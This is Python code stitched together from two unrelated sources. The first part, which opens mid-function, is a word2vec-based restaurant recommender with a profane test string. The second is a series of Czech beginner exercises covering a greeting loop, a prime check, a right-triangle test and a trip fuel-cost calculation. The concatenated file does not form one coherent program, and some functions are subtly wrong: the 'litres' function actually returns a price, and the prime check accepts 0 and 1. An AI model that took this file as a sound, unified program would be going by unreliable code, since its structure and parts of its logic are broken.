    filename = '../GoogleNews-vectors-negative300.bin'
    model = KeyedVectors.load_word2vec_format(filename, binary=True)
    # result = model.most_similar(positive=['woman', 'king'], negative=['man'], topn=1)
    print(model.n_similarity('I love you'.lower().split(), 'fuck you'.lower().split()))
    print('finished...')
    start = time.time()
    print(model.n_similarity('icecream I like apple apple apple'.lower().split(), 'hello you'.lower().split()))
    end = time.time()
    print(end - start)

def load_word2vec_model(filename):
    binary = False
    pre_path = 'algorithms/'
    if filename == 'GoogleNews-vectors-negative300.bin':
        binary = True
    return KeyedVectors.load_word2vec_format(pre_path + filename, binary=binary)

def word2vec_recommend(username, model):
    # find submatrix first
    user_restaurant_list = list()  # the restaurants the user went before.
    user_dict = dict()  # dict: user[business_id] = text_review
    user_text_list = list()  # the users text reviews list orders by user_dict
    user_review_list = UserReview.objects.filter(user=User.objects.get(username=username))

    for one_review in user_review_list:
        user_dict[one_review.business_id] = one_review.text
        user_restaurant_list.append(one_review.business_id)
        user_text_list.append(one_review.text)

    # now we have the user's text vector and we can calculate the similarity
    """
       first find the unrecorded restaurant
       find similar users from the dataset
       1. find the users list which the new user and customers have [threshold] common rating.
       this function is a recursive function: first the min of user_vector is 5,
       so, the threshold is 80% : 4.
    """

    # load text_matrix
    text_matrix = load_pickle('algorithms/text_matrix.pkl')
    threshold = len(user_restaurant_list) - 1  # means # of the common rating
    sub_matrix = find_sub_matrix(user_dict, text_matrix, threshold)
    while len(sub_matrix.keys()) < 30:
        threshold = threshold - 1
        sub_matrix = find_sub_matrix(user_dict, text_matrix, threshold)
    pprint.pprint(len(sub_matrix))

    # now we got the sub matrix and we can process
    similarity = dict()
    for one_similar_user in sub_matrix.keys():
        customer_total_text = ""
        user_total_text = ""
        for one_restaurant in user_restaurant_list:
            if one_restaurant in sub_matrix[one_similar_user]:
                customer_total_text = customer_total_text + ' ' + sub_matrix[one_similar_user][one_restaurant]
                user_total_text = user_total_text + ' ' + user_dict[one_restaurant]
        # now we have two list: user_total_text and customer_total. we can calculate the similarity
        # in word2vec n_similarity.
        sim_score = 0
        # tokenize the text
        customer_tokens = tokenizer(customer_total_text, model)
        user_tokens = tokenizer(user_total_text, model)

        similarity[one_similar_user] = model.n_similarity(customer_tokens, user_tokens)
    # get top 15 similar users
    top_similar_users = collections.Counter(similarity).most_common(15)
    return top_similar_users, recommend_restaurant(similarity, user_dict, username)

def tokenizer(input_text, wv_model):
    # get tokens
    tokens = word_tokenize(input_text)
    clean_tokens = list()
    for token in tokens:
        if token.lower() in wv_model.wv.vocab:
            clean_tokens.append(token.lower())
    return clean_tokens

def linear_regression_model(username, similarity_method='cosine', method='bag_of_words'):
    similar_user_text_based, similar_restaurant_text_based = text_recommend(username=username, method=method,
                                                                            similarity_method=similarity_method)
    similar_user_rating_based, similar_restaurant_rating_based = rating_recommend(username,
                                                                                similarity_method=similarity_method)
    # load linear regression model
    liner_regression_model = load('algorithms/trained_model.joblib')
    # prepare the X values, first find all the restaurant list.
    restaurant_list = list()
    for one in range(len(similar_restaurant_rating_based)):
        if similar_restaurant_rating_based[one][0] not in restaurant_list:
            restaurant_list.append(similar_restaurant_rating_based[one][0])
        if similar_restaurant_text_based[one][0] not in restaurant_list:
            restaurant_list.append(similar_restaurant_text_based[one][0])
    result = dict()
    X = list()
    for one_rest in restaurant_list:
        # get rating score
        r_score = get_score(similar_restaurant_rating_based, one_rest)
        t_score = get_score(similar_restaurant_text_based, one_rest)
        X.append([r_score, t_score])
    # use model to predict
    Y = liner_regression_model.predict(X)
    count = 0
    for one in restaurant_list:
        result[one] = Y[count][0]
        count = count + 1
    return similar_user_rating_based, similar_user_text_based, collections.Counter(result).most_common(5)

def get_score(similar_restaurants, restaurant_id):
    for one in similar_restaurants:
        if restaurant_id == one[0]:
            return one[1]
    return 0

def doc2vec_recommend(username, model):

    return word2vec_recommend(username, model.wv)
# if __name__ == '__main__':
#     print('loading...')
#     model = load_word2vec_model('glove.6B.50d.txt.word2vec')
#     print('Finish loading')
#     start = time.time()
#     simi_user, simi_rec = word2vec_recommend('123', model)
#     end = time.time()
#     print(end - start)
#     pprint.pprint(simi_rec)
#     pprint.pprint(simi_user)
#     exit()


def Pozdrav():
    print("Ahoj Světe")

Pozdrav()

def PozdravKrat(x: int):
    for i in range(x):
        Pozdrav()

PozdravKrat(105)

def jeToPrvocislo(cislo: int) -> bool:
    prvocislo = True
    for i in range(2,cislo):
        if cislo % i == 0:
            prvocislo = False
    return prvocislo

def jeToPrvocislo2(cislo: int) -> bool:
    for i in range(2,cislo):
        if cislo % i == 0:
            return False
    return True

print("Je prvočíslo? " + str(jeToPrvocislo2(12)))

#  a**2 + b**2 == c**2 NEBO c**2 + b**2 == a**2 NEBO a**2 + c**2 == b**2

def pravoUhlyTroj(a, c, b):
    if a**2 + b**2 == c**2:
        return True
    return False

print(pravoUhlyTroj(c=5,b=3,a=4))
print(pravoUhlyTroj(4,3,5))

def cislo():
    abrakadabra = 10
    x = 10
    print(x)

cislo()
x = 20
cislo()
print(x)

# VSTUP: 2 parametry!  1. spotřeba auta (třeba 7.8 l/100km)  2. délka cesty (třeba 650 km)
# VÝSTUP: počet litrů

# X = (7.8/100)*650  => 50,7 l

def kolikLitru(spotreba, vzdalenost, cena):
    return spotreba/100*vzdalenost*cena

print("Kolik potřebuju peněz na cestu do chorvatska?")
print(kolikLitru(spotreba = 7.8,vzdalenost=650,cena=38.5))